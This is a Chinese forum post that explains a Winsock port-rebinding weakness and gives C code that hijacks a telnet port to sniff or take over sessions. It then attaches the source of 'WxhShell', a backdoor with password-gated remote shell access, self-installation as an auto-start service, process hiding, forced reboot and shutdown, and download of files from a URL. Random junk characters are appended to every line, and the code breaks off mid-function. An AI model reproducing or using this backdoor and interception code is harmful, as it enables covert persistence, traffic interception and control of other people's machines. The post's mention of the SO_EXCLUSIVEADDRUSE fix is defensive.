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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m)L50ot:/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rNV3-#kU  
5c::U=  
  saddr.sin_family = AF_INET; *90dkJZ.  
_33 b %  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #l}Fk)dj  
l jK?2z>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `]W9Fj<1j  
:-jbIpj'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qj~=qV0p  
OS#aYER~/  
  这意味着什么?意味着可以进行如下的攻击: >G|RVB  
F6sQeU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y\_+,G0  
Sa<(F[p`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =.8n K y  
gra6&&^"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;j1 SSHZ  
`D%i`"~Lf&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I^A>YJW  
m"~ddqSMT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |j0_^:2r=  
8D)1ZUx7`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2J t{oh|  
;l!<A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3H!]X M  
i_N8)Z;r  
  #include CsZm8oL$  
  #include Mbxl{M >  
  #include d;dT4vx$[M  
  #include    15jQ87)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S'HA]  
  int main() 4k^P1  
  { `l]Lvk8O  
  WORD wVersionRequested; 0qNk.1pv  
  DWORD ret; h.K"v5I*  
  WSADATA wsaData; Ew0)MZ.#  
  BOOL val; uEb:uENk'(  
  SOCKADDR_IN saddr; V7U*09 0*5  
  SOCKADDR_IN scaddr; yJ!26  
  int err; &UH0Tw4   
  SOCKET s; /(8"]f/  
  SOCKET sc; 8WV5'cX  
  int caddsize; 2?7ID~\  
  HANDLE mt; GAY?F  
  DWORD tid;   9BZ B1o X  
  wVersionRequested = MAKEWORD( 2, 2 ); }i^M<A O  
  err = WSAStartup( wVersionRequested, &wsaData ); *~P| ? D'  
  if ( err != 0 ) { -}<Ru)  
  printf("error!WSAStartup failed!\n"); -KC@M  
  return -1; @}6<,;|DQ  
  } 1P"7.{  
  saddr.sin_family = AF_INET; j>8ubA  
   2 )o2d^^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (km $qX  
XdA]);,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @cIYS%iZ  
  saddr.sin_port = htons(23); NB<8M!X/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >8{w0hh;  
  { l/(~Kf9eQG  
  printf("error!socket failed!\n"); C<teZz8/w  
  return -1; fSd|6iFH  
  } c&bhb[  
  val = TRUE; BTwc(oL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S}rEQGGR{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ahg P"Qz  
  { 1y:fH4V  
  printf("error!setsockopt failed!\n"); s/@uGC0>  
  return -1; @ ,oc%m  
  } fLs>|Rh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (5] [L<L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 IN3-ZNx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (pCHj'  
pmBN?<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^@/wXj:  
  { nmn/4>  
  ret=GetLastError(); v`mB82s  
  printf("error!bind failed!\n"); Q0"?TSY  
  return -1; Mhn1-ma:  
  } 9~=zD9,|iA  
  listen(s,2); Z{vc6oj  
  while(1) O-7)"   
  { TI8\qIW  
  caddsize = sizeof(scaddr); Ju#j%!  
  //接受连接请求 rF[-4t %  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &i3SB[|  
  if(sc!=INVALID_SOCKET) G HQ~{  
  { QaLaw-lx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %|+aI?  
  if(mt==NULL) zf)*W#+  
  { ~roNe|P  
  printf("Thread Creat Failed!\n"); )0 E_Y@  
  break; LodP,\T  
  } ~6t<`&f  
  } 7l-MV n_8  
  CloseHandle(mt); fr`#s\JKw  
  } ,? <;zq  
  closesocket(s); r{?qvl!q  
  WSACleanup(); .0yBI=QI  
  return 0; *\#<2 QAe  
  }   "uuM#@h  
  DWORD WINAPI ClientThread(LPVOID lpParam) D8! Y0  
  { *VXx\&  
  SOCKET ss = (SOCKET)lpParam; J#H,QYnf(L  
  SOCKET sc; yz0#0YG7  
  unsigned char buf[4096]; g]h@U&`~u_  
  SOCKADDR_IN saddr; 8fi'"  
  long num; OU` !c[O  
  DWORD val; I-8I/RRkmP  
  DWORD ret; fk15O_#3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sK W~+ ]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "4xo,JUf  
  saddr.sin_family = AF_INET; E3p$^['vx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); whe%o  
  saddr.sin_port = htons(23); eK(k;$4\^Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c]1AM)xo  
  { l #C<bDw  
  printf("error!socket failed!\n"); 1F>8#+B/W  
  return -1; jQ7;-9/~N  
  } 6K7lQ!#}Q  
  val = 100; h3E}Sa(MQ:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lGK7XAx,  
  {  7Oe$Ou  
  ret = GetLastError(); eQyc<  
  return -1; SN")u  
  } ^& *;]S`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \c{sG\ >  
  { oH4zW5  
  ret = GetLastError(); \H>Psv{  
  return -1; MV3K'<Y  
  } #]^C(qmb:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~G8l1dD  
  { s+_8U}R  
  printf("error!socket connect failed!\n"); z|],s]F>G  
  closesocket(sc); -]}#Z:&  
  closesocket(ss); lmUCrs37  
  return -1; XySkm2y  
  } f'"PQr^9  
  while(1) #X``^  
  { ;2`t0#J$]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1Hhr6T^)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6yUThv.G#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4VvE(f  
  num = recv(ss,buf,4096,0); Y5ei:r|^  
  if(num>0) 4gEw }WiP  
  send(sc,buf,num,0); hFtjw6  
  else if(num==0) A>Qu`%g*  
  break; n>B ,O  
  num = recv(sc,buf,4096,0); (gE<`b  
  if(num>0) 6b2h\+AP  
  send(ss,buf,num,0); !S7?:MJ?p\  
  else if(num==0) OXZK|C;M}  
  break; *C|*{!  
  } T ;84Sv  
  closesocket(ss); " +{2!  
  closesocket(sc); <2 kv/  
  return 0 ;  )bYOy+2g  
  } _qOynW  
H/ ejO_{  
=Gj~:|;$  
========================================================== !Q_Kil.9  
4_2oDcdf  
下边附上一个代码,,WXhSHELL {C?$osrr  
m@I}$  
========================================================== je#LD  
Omn $O>  
#include "stdafx.h" hxJKYU^%m  
+3AX1o%p,#  
#include <stdio.h> QTF1~A\  
#include <string.h> -f:PgBj  
#include <windows.h> I)jAdd  
#include <winsock2.h> u f<%!=e  
#include <winsvc.h> W:j9KhvT  
#include <urlmon.h> F#Pn]  
I5[@C<b  
#pragma comment (lib, "Ws2_32.lib") }9B},  
#pragma comment (lib, "urlmon.lib") l| \ -d  
ettBque  
#define MAX_USER   100 // 最大客户端连接数 vd^Z^cpi p  
#define BUF_SOCK   200 // sock buffer =d~pr:.F  
#define KEY_BUFF   255 // 输入 buffer ub1~+T'O  
3 %r*~#nz  
#define REBOOT     0   // 重启 45Zh8k  
#define SHUTDOWN   1   // 关机 :.BjJ2[S  
; %AgKgV  
#define DEF_PORT   5000 // 监听端口 H,EZ% Gl  
afaQb  
#define REG_LEN     16   // 注册表键长度 ??#EG{{  
#define SVC_LEN     80   // NT服务名长度 /18fpH|  
2RqV\Jik  
// 从dll定义API K'Wv$[~Dc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z3Ww@&bU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cw0 @Z0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tqB6:p-%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /IX555/dR1  
D'D IC  
// wxhshell配置信息 ,0nrSJED  
struct WSCFG { d7&d FvG  
  int ws_port;         // 监听端口 3*7klu  
  char ws_passstr[REG_LEN]; // 口令 e8_EB/)_Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no {pre|r\  
  char ws_regname[REG_LEN]; // 注册表键名 |_s,]:  
  char ws_svcname[REG_LEN]; // 服务名 BlT)hG(M>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G:|]w,^i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8W Qc8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pfl^GgP#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /{[tU-}qJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hCX/k<}I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?mVSc/  
Gf~^Xv!T  
}; o?= &kx  
=kOo(  
// default Wxhshell configuration Mxd7X<\$  
struct WSCFG wscfg={DEF_PORT, Z;R/!Py.  
    "xuhuanlingzhe", 0Nk!.gY  
    1, !-SI &qy  
    "Wxhshell", ?caHS2%?ae  
    "Wxhshell", KxhWZ3  
            "WxhShell Service", UpQda`rb  
    "Wrsky Windows CmdShell Service", g^=Ruh+  
    "Please Input Your Password: ", Ya<V@qd  
  1, ,k@i Nid  
  "http://www.wrsky.com/wxhshell.exe", 7''iT{-[p  
  "Wxhshell.exe" c&<Ei1  
    }; 3F6A.Ny  
d[H`Fe6h  
// 消息定义模块 RA+M.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X}QcXc.d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [oXr6M:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @L607[!?  
char *msg_ws_ext="\n\rExit."; 8{&.[S C7  
char *msg_ws_end="\n\rQuit."; %l%2 hvGZ  
char *msg_ws_boot="\n\rReboot..."; |w>b0aY  
char *msg_ws_poff="\n\rShutdown..."; CNWA!1n^Hy  
char *msg_ws_down="\n\rSave to "; i}|jHlv  
?aB%h |VA  
char *msg_ws_err="\n\rErr!"; }KftV nD?  
char *msg_ws_ok="\n\rOK!"; SFEDR?s   
E3CwA8)k  
char ExeFile[MAX_PATH]; KNF{NFk  
int nUser = 0; < jX5}@`z  
HANDLE handles[MAX_USER]; *xx)j:Sc2  
int OsIsNt; r0\C2g_X  
MQ'=qR  
SERVICE_STATUS       serviceStatus; $.ctlWS8l{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i\4YT r,  
S%G&{5  
// 函数声明 ;D(6Gy9~  
int Install(void); .F _u/"**  
int Uninstall(void); NJ$Qm.S  
int DownloadFile(char *sURL, SOCKET wsh); OwDwa~  
int Boot(int flag); (enOj0  
void HideProc(void); Efpj u(   
int GetOsVer(void); an Kflt3  
int Wxhshell(SOCKET wsl); 3Zpq#  
void TalkWithClient(void *cs); \mt Y_O  
int CmdShell(SOCKET sock); `Xi)';p  
int StartFromService(void); O2lM;="  
int StartWxhshell(LPSTR lpCmdLine); \ZSqZDq  
OzTR#`oey  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ( p CU:'"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /Ea&Zm  
(2RuQgO  
// 数据结构和表定义 >V%.=})K  
SERVICE_TABLE_ENTRY DispatchTable[] = NXS$w{^  
{ h>z5m   
{wscfg.ws_svcname, NTServiceMain}, tC/+  
{NULL, NULL} p7.~k1h  
}; pQ ul0]  
zf\$T,t)  
// 自我安装 :$XlYJrjK  
int Install(void) -<u_fv  
{ DoN]v  
  char svExeFile[MAX_PATH]; #,"[sag  
  HKEY key; yZmeke)_  
  strcpy(svExeFile,ExeFile); 6OtNWbB  
*m'&<pg]X  
// 如果是win9x系统,修改注册表设为自启动 Q} -YD.bx3  
if(!OsIsNt) { TTo?BVBK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  T#Z#YMk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O_DT7;g  
  RegCloseKey(key); m_;XhO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I;{Ua *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W6u(+P]("  
  RegCloseKey(key); ?. L]QU  
  return 0; x|Ms2.!  
    } xHkxrXqeI  
  } A(+V{1 L'  
} Hm~.u.)\.  
else { iQiXwEAi[  
;hd%w mE  
// 如果是NT以上系统,安装为系统服务 530Kk<%^}8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =,s5>2  
if (schSCManager!=0) T7?z0DKi  
{ MTbCL53!-  
  SC_HANDLE schService = CreateService y8v0>V0)  
  ( a\p`J9Z@  
  schSCManager, h6 :|RGF  
  wscfg.ws_svcname, BGstf4v>A<  
  wscfg.ws_svcdisp, /1+jQS  
  SERVICE_ALL_ACCESS, l5enlYH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k/Q8:qA  
  SERVICE_AUTO_START, 1_@vxi~aW_  
  SERVICE_ERROR_NORMAL, [|C  
  svExeFile, z gxMDLH  
  NULL, E7<l^/<2S+  
  NULL, 9SU/ 86|N  
  NULL, >5t]Zlb`  
  NULL, LO%OH u}]  
  NULL _akpW  
  ); BMn`t@!x  
  if (schService!=0) , LqfwA|  
  { y XCZs  
  CloseServiceHandle(schService); L*{E-m/  
  CloseServiceHandle(schSCManager); SU.$bsu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s}4k^NGFJ  
  strcat(svExeFile,wscfg.ws_svcname); $o ;48uV^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0.U- tg0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (J j'kW6G6  
  RegCloseKey(key); qM d4awB R  
  return 0; ~x+&cA-0A2  
    } YgQb(umK  
  } TO/SiOd  
  CloseServiceHandle(schSCManager); @Fb 2c0?Y  
}  ]C-a[  
} -_>E8PhM  
#V@vz#bo=  
return 1; fDChq[LAn  
} :M@#.  
X09i+/ICK  
// 自我卸载 <4"Bb_U  
int Uninstall(void) {@t6[g++  
{ #0Z%4WQ  
  HKEY key; }#Kl6x  
:SN/fY  
if(!OsIsNt) { &(NxkZp!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OXV9D:bIa  
  RegDeleteValue(key,wscfg.ws_regname); G~f|Sx  
  RegCloseKey(key); ?oU5H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NV\{$*j(|J  
  RegDeleteValue(key,wscfg.ws_regname); FMl_I26]  
  RegCloseKey(key); {YIVi:4q  
  return 0; L,sXJ23.  
  } I\= &v^]  
} z'Ut9u  
} W: 3fLXk+  
else { o4YF,c+>q  
4B-+DH>{6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fw%S%*B8g  
if (schSCManager!=0) e#ne5   
{ [tJp^?6*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6^z):d#u  
  if (schService!=0) !*,m=*[3  
  { rxeOT# N}  
  if(DeleteService(schService)!=0) { Aj"fkY|Q  
  CloseServiceHandle(schService); D!V*H?;U  
  CloseServiceHandle(schSCManager); @:P:`Zk  
  return 0; ~mT([V  
  } X D \;|  
  CloseServiceHandle(schService); t<SCrLbz  
  } ,d8*7my  
  CloseServiceHandle(schSCManager); Y>CZ  
} /)V8X#,  
} 2))p B/  
1HeE$  
return 1; JiX-t\V~  
} q=26($  
!Ic~_7"  
// 从指定url下载文件 3Zm;:v4y  
int DownloadFile(char *sURL, SOCKET wsh) 88zK)k{  
{ E>YE3-]  
  HRESULT hr; rKr\Qy+q  
char seps[]= "/"; %p^`,b}  
char *token; j"vL$h  
char *file; }`_x%]EJ  
char myURL[MAX_PATH]; ['aiNhlbt  
char myFILE[MAX_PATH]; C=DC g  
E~`<n]{G-C  
strcpy(myURL,sURL); LC0g"{M  
  token=strtok(myURL,seps); ]KQBek#DD  
  while(token!=NULL) ]fU0;jzX  
  { ,veI'WHMB  
    file=token; Bv^5L>JZ/  
  token=strtok(NULL,seps); .Q DeS|l  
  } P5Pb2|\*  
Y58et9gRO  
GetCurrentDirectory(MAX_PATH,myFILE); piAFxS<6  
strcat(myFILE, "\\"); v.>95|8  
strcat(myFILE, file); (6i. >%|_  
  send(wsh,myFILE,strlen(myFILE),0); =la~D]T*g  
send(wsh,"...",3,0); @5cY5e*i{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fh9w5hT={  
  if(hr==S_OK) dz )(~@tgz  
return 0; #$ ,b )Uy  
else +<sv/gEt  
return 1; 9*? i89T  
CD)JCv  
} {br6*  
y2>AbrJ  
// 系统电源模块 \!4_m8?  
int Boot(int flag) 17!<8vIV$C  
{ ")3$. '5Dg  
  HANDLE hToken; l  !JTM  
  TOKEN_PRIVILEGES tkp; )8V=!73  
~lr,}K,  
  if(OsIsNt) { n fMU4(:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mfr7w+DK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,xy$h }g  
    tkp.PrivilegeCount = 1; .\"8H1I\T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?PU7xO;_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .-cx9&  
if(flag==REBOOT) { D8)6yPwE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R-1C#R[  
  return 0; + y|Q7+  
} B5!|L)7>{p  
else { 'E4}++\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Eu$hC]w  
  return 0; q4Y7 HE|ym  
} ; r95i1a'  
  } A{ . A1  
  else { `~2I  
if(flag==REBOOT) { ed$w5dv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M)sAMfuUw  
  return 0; 9+I /bl4  
} f_ |=EQ  
else { K8fC>iNbH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i?'|}tK  
  return 0; >4nQ&b.u  
} B;J8^esypD  
} b}Xh|0`b+  
nc.:Wm6Mj  
return 1; |_%q@EID  
} T< o8lL  
*JiI>[  
// win9x进程隐藏模块 qR9!DQc'  
void HideProc(void) uevhW  
{ Xt$Y&Ho  
0G(|`xG1q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *fQn!2}=(  
  if ( hKernel != NULL ) +RyV"&v  
  { a[NR%Xq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z#/"5 l   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3?<LWrhV3  
    FreeLibrary(hKernel); V6fJaZ  
  } P$6 Pe>3  
:d wP  
return; 4z,/0  
} h.5KzC S  
MCl-er"]D  
// 获取操作系统版本 YGOhUT |  
int GetOsVer(void) %(:{TR  
{ o8N,mGj}  
  OSVERSIONINFO winfo; x,TnYqT^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B9S@G{`  
  GetVersionEx(&winfo); Y {|is2M9'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _tpOVw4I  
  return 1; G k:k px  
  else 3|4<SMm  
  return 0; ?7A>|p?"  
} H}g p`YW:4  
<AU0ir  
// 客户端句柄模块 b8|<O:]Hp  
int Wxhshell(SOCKET wsl) G$;cA:p-j  
{ #E#Fk3-ljQ  
  SOCKET wsh; &A~hM[-  
  struct sockaddr_in client; >YR2h/S  
  DWORD myID; d^d+8R  
M# cJ&+rP  
  while(nUser<MAX_USER) gPIl:, d(  
{ !EGpI@  
  int nSize=sizeof(client); DC2[g9S>8@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6bT>x5?  
  if(wsh==INVALID_SOCKET) return 1; ?vQ:z{BO  
ZNJ<@K-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); - #-Bo  
if(handles[nUser]==0) zEYQZywc  
  closesocket(wsh); 0N_u6*@  
else ku GaOO  
  nUser++; =4gPoS  
  } X}`39r.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Uz%2{HB@{  
_=HNcpDA;0  
  return 0; Gyb|{G_  
} bfI= =  
>~L0M  
// 关闭 socket  ?Zc(Zy6  
void CloseIt(SOCKET wsh) 3zMaHh)mj  
{ )C0d*T0i  
closesocket(wsh); s \0,@A   
nUser--; C@u}tH )  
ExitThread(0); Op:$7hv  
} x;A.Ll  
"%#CMCE|f  
// 客户端请求句柄 5E =!L g  
void TalkWithClient(void *cs) LR3>_t  
{ RM>A9nv$\  
vK$wc~  
  SOCKET wsh=(SOCKET)cs; ,@\z{}~v  
  char pwd[SVC_LEN]; e<+b?@}=B  
  char cmd[KEY_BUFF]; -?NAA]P5c@  
char chr[1]; \s7/`  
int i,j; cJzkA^T9  
|nBZ:$D  
  while (nUser < MAX_USER) {  '3xK1Am  
3ej[  
if(wscfg.ws_passstr) { ^#U[v7y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); se*k56,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >v )V2,P -  
  //ZeroMemory(pwd,KEY_BUFF); W=Mdh}u_I  
      i=0; bZpx61h|  
  while(i<SVC_LEN) { 8L5O5F'  
,JfP$HJ  
  // 设置超时 {+V ]@sz  
  fd_set FdRead; 3!`_Q%  
  struct timeval TimeOut; ~ /rKKc  
  FD_ZERO(&FdRead); nK#%Od{GF  
  FD_SET(wsh,&FdRead); .9vt<<Kwh  
  TimeOut.tv_sec=8; $.4N@=s,?c  
  TimeOut.tv_usec=0; S_38U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]d.e(yCuE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (6&"(}Pai  
O)D$UG\<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w!-MMT4y  
  pwd=chr[0]; C9*[/|T  
  if(chr[0]==0xd || chr[0]==0xa) { ,h<x Y>  
  pwd=0; pUa\YO1J  
  break; yatZ Al(B  
  } ll*Ez"  
  i++; }:(;mW8 D  
    } z>)lp$  
`nY.&YT  
  // 如果是非法用户,关闭 socket 1'|gxYT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NdrR+t^#  
} yQf(/Uxk*x  
Adgfo)X5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2Sk"S/4}Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k106fT]eX  
#Y'ewu;qJ  
while(1) { p-H}NQ\  
yT[=!M  
  ZeroMemory(cmd,KEY_BUFF); a*uG^~ ).  
1\nzfxx  
      // 自动支持客户端 telnet标准   O`T_'.Lk  
  j=0; s"p\-Z  
  while(j<KEY_BUFF) { W)8Pq9Hnv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G!o6Y:1!  
  cmd[j]=chr[0]; 4gZ)9ya   
  if(chr[0]==0xa || chr[0]==0xd) { \["I.gQ  
  cmd[j]=0; Wl }J=  
  break; 4'Y a-x x  
  } 0[ (kFe  
  j++; D[)_ f  
    } `26.+>Z7  
M*D@zb0ia  
  // 下载文件 00@F?|-j  
  if(strstr(cmd,"http://")) { x=kJl GT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z m]R76  
  if(DownloadFile(cmd,wsh)) {a15s6'd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g |H  
  else dx+xs&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (-`PO]e48  
  } =`UFg >-  
  else { `ZT/lB`  
JP^\   
    switch(cmd[0]) { HDaeJk  
  6C/Pu!Sx?  
  // 帮助 }<&?t;  
  case '?': { Wevd6)\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &h_Y?5kK  
    break; t+\<i8  
  } }pGjc_:']  
  // 安装 sE ^YOT<  
  case 'i': { 6cD3(//  
    if(Install()) ^f9@ =I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l dp$jrNLr  
    else AGKT*l.-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g:@4/+TSt  
    break; F>GPi!O  
    } [f}`reRlZ  
  // 卸载 .{|SKhXk  
  case 'r': { *\cU}qjk  
    if(Uninstall()) 1 1(GCu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r$Ni>[as  
    else C|[x],JCS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Nad1C/]  
    break; ^Cvt^cI  
    } G(BSe`f  
  // 显示 wxhshell 所在路径 a <Iikx  
  case 'p': { Z4E6J'B8  
    char svExeFile[MAX_PATH]; Z#D*HAd`  
    strcpy(svExeFile,"\n\r"); (:\L@j  
      strcat(svExeFile,ExeFile); h<8c{RuoZC  
        send(wsh,svExeFile,strlen(svExeFile),0); f1sp6S0V\  
    break; I zVc  
    } #2"'tHf4  
  // 重启 9+/D\|"{  
  case 'b': { V]m}xZ'?^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s_^N=3Si   
    if(Boot(REBOOT)) l/"!}wF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &N]e pV>  
    else { %~kE,^  
    closesocket(wsh); YY(_g|;?8  
    ExitThread(0); {u -J?(s}  
    } 6']G HDK  
    break; k'+y  
    } Ro4!y:2|  
  // 关机 e/#6qCE  
  case 'd': { 1$`|$V1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L\5:od[EP  
    if(Boot(SHUTDOWN)) ,Q.[Lc=w  
